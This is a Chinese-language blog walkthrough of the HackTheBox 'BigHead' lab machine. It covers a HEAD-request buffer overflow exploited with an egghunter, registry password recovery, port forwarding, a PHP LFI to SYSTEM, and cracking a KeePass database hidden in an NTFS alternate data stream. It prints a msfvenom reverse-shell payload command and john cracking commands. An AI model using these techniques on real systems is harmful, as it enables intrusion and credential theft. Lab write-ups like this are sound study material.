No.79-HackTheBox-windows-BigHead-Walkthrough渗透学习

**

HackTheBox-windows-BigHead-Walkthrough

**

靶机地址:https://www.hackthebox.eu/home/machines/profile/164
靶机难度:高级(7.0/10)
靶机发布日期:2019年5月5日
靶机描述:
Bighead is an “Insane” difficulty windows box which deals with advanced binary exploitation, registry enumeration, code review and NTFS ADS. The source code of the web server is found on github which needs to be analyzed to find an overflow in a HEAD request. It can be exploited using heap spraying and egg hunting which results in a shell. Registry enumeration leads to hex encoded password for nginx which is used to obtain an ssh shell through port forward. On reviewing the PHP code a file vulnerable to LFI is found which is exploited to gain a root shell. The root flag has an ADS which is a keepass database. This is cracked using the key to gain the final flag.

作者:大余
时间:2020-03-30
请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
可以看到靶机的IP是10.10.10.112…
在这里插入图片描述
nmap可以看到在端口80上运行了nginx服务…
在这里插入图片描述
Nginx正在运行一个网站,描绘了一家与加密货币相关的公司…
网站底下是个表格,目前没发现什么有利用的信息…爆破看看
在这里插入图片描述
爆破发现了五个有效的目录…试试
在这里插入图片描述
在这里插入图片描述
可以看到,访问/backend重定向到了http://10.10.10.112/BigHead页面报404错误…
访问/updatecheck重定向到了http://code.bighead.htb/phpmyadmin/phpinfo.php这个页面…
这是暴露了子域名,这提示了需要我添加子域名…
在这里插入图片描述
添加完后,进到了phpinfo()页面…
可以看到系统版本是:Windows Server 2008 SP 2 32的
在这里插入图片描述
发现了挺多目录…
在这里插入图片描述
访问dashboard发现了存在XAMPP,这是建设apache下的一个建站集成软件…说明这里存在了apache…
在这里插入图片描述
在这里插入图片描述
果然存在apache…然后点击parent…返回了404,定向到了http://127.0.0.1:5080/testlink/login.php页面…
最初在nmap扫描发现Nginx在端口80上运行,但是在这里运行了Apache。这意味着Nginx可能充当Apache前面的反向代理或负载平衡器身份…
在这里插入图片描述
这里直接对testlink进行了爆破,发现了很多信息…
在这里插入图片描述
在note子目录下发现了域名信息…
意思是Bighead破坏了该应用程序,Dinesh告诉他获得自己的DEV的子域…说明这里存在dev子域名…试试
在这里插入图片描述
说明是存在的…一张头像图…没有用的信息…
继续爆破…
在这里插入图片描述
可以看到/coffee目录传回了418错误信息…去研究下
在这里插入图片描述
可以看到它在运行着别的web服务器…
在这里插入图片描述
运行着服务:BigheadWebSvr 1.0
在这里插入图片描述
https://github.com/3mrgnc3/BigheadWebSvr
google搜索到了BigheadWebSvr 1.0软件库…
在这里插入图片描述
可以看到BHWS_Backup.zip已经加密了…
这里利用john进行对文件夹破解即可…
在这里插入图片描述
命令:zip2john BHWS_Backup.zip > hash.txt
在这里插入图片描述
命令:john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt
成功破解哈希值,获得压缩包密码…
在这里插入图片描述
意思是易受攻击的软件已从其中删除,也许它存在于较早的版本中…去github找找看…
在这里插入图片描述
在导航的地方发现了历史版本,下载继续破解试试查看下…
在这里插入图片描述
可以看到,历史版本,源文件还在…
在这里插入图片描述
在nginx.conf文件中可以看到它自定义Web服务器提供对dev.bighead.htb的请求,以及/coffee对它们的请求,来源于/coffee的proxy_pass_header Server配置文件…
这里开始分析BHWS_Backup里的文件…这里我在windows10 32系统上也搭建了BHWS_Backup服务…开始分析二进制程序
在这里插入图片描述
这里将文件考入windows10系统即可…运行会提示缺少libmingwex-0.dll文件…下载libmingwex-0.dll
然后在windows10安装Immunity Debugger用来分析二进制程序…
最后,目前最新版的Immunity是基于python2.7库运行的…这里需要分析溢出的偏移量找到注入shellcode的点,需要mona放入Immunity的python库进行分析…否则无法分析!!
下载所有环境工具后,开始搭建环境…
可以看到已经成功运行…端口8008开放了
在这里插入图片描述
可以看到访问windows10的IP,服务是正常运行的,和靶机一样显示了头像…curl测试也是正常的…
环境搭建好了…最初的思路是BigheadWebSvr.exe可能存在缓冲区溢出…这里开始测试…
在这里插入图片描述
在这里插入图片描述
通过python写入head栈堆128个字符A,服务崩溃了…程序存在溢出问题…
这里开始利用Immunity Debugger分析程序…
在这里插入图片描述
可以看到EIP被A覆盖,需要找到EIP的位置…
在这里插入图片描述
在这里插入图片描述
这里先开启KALI和windows10的共享…方便操作!!
在这里插入图片描述
命令:!mona pattern_create 128
在之前已经写入了128A得字节,找到了缓冲出的位置点…
在这里插入图片描述
命令:!mona config -set workingfolder z:\
这里利用mona脚本对程序的溢出值偏移量写入SMB中…打开发现内容不是我想要的…内容应该是:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
在这里插入图片描述
将偏移量写入txt即可…
在这里插入图片描述
在这里插入图片描述
重新运行服务,将偏移量写入head后,找到了坏死的EIP溢出崩溃点的位置:ACC54AAC
找到了EIP崩溃的位置点,下一步需要找到覆盖EIP点,继续找到EAX变量…
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到起点EAX在AA0A,和偏移量是一样的…
然后回到崩溃的ACC54AAC位置,显示的是C5、4A位置…所以位置量是AA~C3位置:72
得出EAX=68,EIP=72,ESP=80
在这里插入图片描述
在这里插入图片描述
可以看到通过写入ABCD字节发现CC~CC,4个字节成功覆盖了EIP,右上角EIP显示了CCCCCCCC,找到了控制的EIP量需要继续找到一个真实的地址来覆盖EIP…
在这里插入图片描述
在这里插入图片描述
这里需要找到EGG,由于egghunter位于堆栈上,因此使用jmp esp指令使其跳转到egghunter并执行它,!mona jmp -r esp,执行后生成了jmp.txt文件,需要确保选择的地址可以在目标计算机上使用,命令:!mona modules看到,选择使用dll了服务器本身的地址之一bHeadSvr.dll…继续测试…
在这里插入图片描述
通过bHeadSvr.dll可以看到:
JMP_ESP:625012F0
JMP_EAX:625012F2
继续收集信息…
在这里插入图片描述
在这里插入图片描述
收集到egghunter值…
在这里插入图片描述
命令:msfvenom -p windows/shell_reverse_tcp LHOST=192.168.11.128 LPORT=443 -f python -o dayushell.py
msfvenom生成shell,开始写EXP
在这里插入图片描述
在这里插入图片描述
可以看到编写完了EXP…测试
在这里插入图片描述
没报错,运行中…执行看看
在这里插入图片描述
回看EXP应该是没问题的…
在这里插入图片描述
由于这是head偏移量溢出,而这里的头部信息太多了,需要微调,删除这些信息进行…
在这里插入图片描述
执行后还是报错了…
在这里插入图片描述
当egghunter扫描内存时,CPU使用率会在几秒钟内达到100%…
这里等大概10多秒就能成功提权…
在这里插入图片描述
这里只需要将EXP里IP和端口修改成靶机即可相同提权…
这里遇到了坑,搞得我反反复复检查EXP至少几十遍,来来回回分析BigheadWebSvr.exe几十遍…花了2天多的时间…硬是没在靶机上提权成功…
原因找到了…我EXP是没问题的…是因为当EXP执行后,BigheadWebSvr.exe服务会吃windows server 2008系统CPU到%100,靶机就会延迟性很高,最近HTB也windows有点问题,估计是数据包传输的问题,延迟了几十分钟…
我怎么过的?
我都差点放弃了,放着继续尝试的心态,执行了EXP,然后放着吃饭带娃,等了两小时回来,发现成功提权了…狗血!!
可以看到成功获得nelson低权用户…
在这里插入图片描述
获得了user信息…可这肯定不是用户标志…继续提权…
在这里插入图片描述
有了前面的坑,我直接利用meterpreter进行提权操作,不然万一关了,我还得等几小时…
在这里插入图片描述
成功!!!
在这里插入图片描述
命令:run post/windows/gather/enum_applications
可以看到该系统装了7z、ssh、keepass…
在这里插入图片描述
这里2020和5080端口引起我关注…XAMPP的Bv Ssh和httpd的apache服务…深入查询…
在这里插入图片描述
命令:portfwd add -l 2020 -p 2020 -r 127.0.0.1
通过meterpreter转发2020端口,可以简单地使用portfwd…
可以看到可以登陆…存在该服务…需要密码…
在这里插入图片描述
Bv Ssh是nginx的一个服务,在找nginx注册表发现了nginx.reg存在有用信息
在这里插入图片描述
存在Authenticate密钥包和PasswordHash哈希值…这是ASCII值
在这里插入图片描述
成功解码…
在这里插入图片描述
成功进入bvshell…前面就说了BVssh是XAMPP服务,进来是bvshell就正常的
在这里插入图片描述
这里面无法执行命令…(或者我不懂)
在这里插入图片描述
这里找了一会,浏览code.bighead.htb发现重定向到了http://127.0.0.1:5080/testlink/login.php地址…
去看看…
在这里插入图片描述
我又回到了bvshell
在这里插入图片描述
在这里插入图片描述
文件包含一个LFI,这里PiperID和PiperCoinID,PiperCoinID很重要,PiperCoinID采用的值将其分配给另一个名为的变量 P i p e r C o i n A u t h r e q u i r e o n c e ( ) PiperCoinAuth与require_once()和 PiperCoinAuth相呼应…
$PiperCoinAuth是通过POST PiperCoinID参数用户直接控制的,所以可以写入和读取包含任意PHP文件…
在这里插入图片描述
成功利用PiperID=&PiperCoinID执行php文件进行提权…
这里利用NC是因为msfven…生成的shell不稳定,时不时会断开…
成功获得system权限,管理员
在这里插入图片描述
成功获得user信息

在这里插入图片描述
开始发现没用root信息…想到数据流查看,果然发现了,打开后…
完全没用的信息…又是编码图形化界面…
没这么简单啊!!!
在这里插入图片描述
继续往下查看…存在root.txt:Zone.Identifier文件…我利用最前开启的smbserver进行共享…
下载了root.txt到本地是成功了,但是root.txt:Zone.Identifier是不成功的…
在这里插入图片描述
利用mv修改文件名,查看到了内容,是乱码,但是一看就知道这是二进制文件…

在这里插入图片描述
修改文件名后可以共享了…共享到了本地
在这里插入图片描述
通过file查看到了这是.kdbx文件…需要利用keepass2打开,apt install keepass2,打开后发现还需要密码!!!
快疯了…
找了半天没发现什么有用的信息…
回看自己收集的信息…前面就发现了这台靶机安装了keepass程序…肯定存在目录…走
在这里插入图片描述
找到了该目录…发现KeePass.config.xml页面代码…查看
在这里插入图片描述
查看跳到直接跳到最后…发现了root.txt:Zone.Identifier文件的keyfilepath存在admin.png文件内…
Users\Administrator\Pictures\admin.png
在这里插入图片描述
在这里插入图片描述
这里利用keepass2john破解密匙…报错了,更新了john但是还是不行…
试了挺久,我觉得是文件修改名的时候共享文件,文件应该是不完整的状态…重新去下载试试
在这里插入图片描述
这里可以利用MSF或者别的方法下载root.txt:Zone.Identifier文件…
看到靶机上存在bash.exe文件…
在这里插入图片描述
直接利用bash.exe的cat转换到另一文件…这里我真不知道还有多少坑,因为不是限制共享,就是限制哪的…
在这里插入图片描述
可以看到,通过bash.exe写入的test是完整的文件内容…通过keepass2john碰撞出了哈希值…通过john库进行爆破,获得了密码…
在这里插入图片描述
选择图片,然后加密码即可…
在这里插入图片描述
在这里插入图片描述
可以看到成功获得了root信息…

花了我三天的时间,正如官方说的:
Bighead是一个“疯狂”的难度窗口框,用于处理高级二进制利用,注册表枚举,代码检查和NTFS ADS,Web服务器的源代码位于github上,需要对其进行分析以查找HEAD请求中的溢出,可以使用head spraying和EGG来利用它,从而产生壳,注册表枚举导致nginx的十六进制编码密码,该密码用于通过端口转发获取ssh shell, 在查看PHP代码时,发现了一个容易受到LFI攻击的文件,该文件被利用来获得root shell,根标志具有一个ADS,它是一个keepass数据库,使用密钥来破解该密钥以获得最终标志…

学到了思路…增强了解题的耐心…学到了很多东西…好好总结!!!加油

由于我们已经成功得到root权限查看user.txt和root.txt,因此完成这台疯狂的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

扫描二维码关注公众号,回复: 11209450 查看本文章

在这里插入图片描述

原创文章 102 获赞 13 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/105133200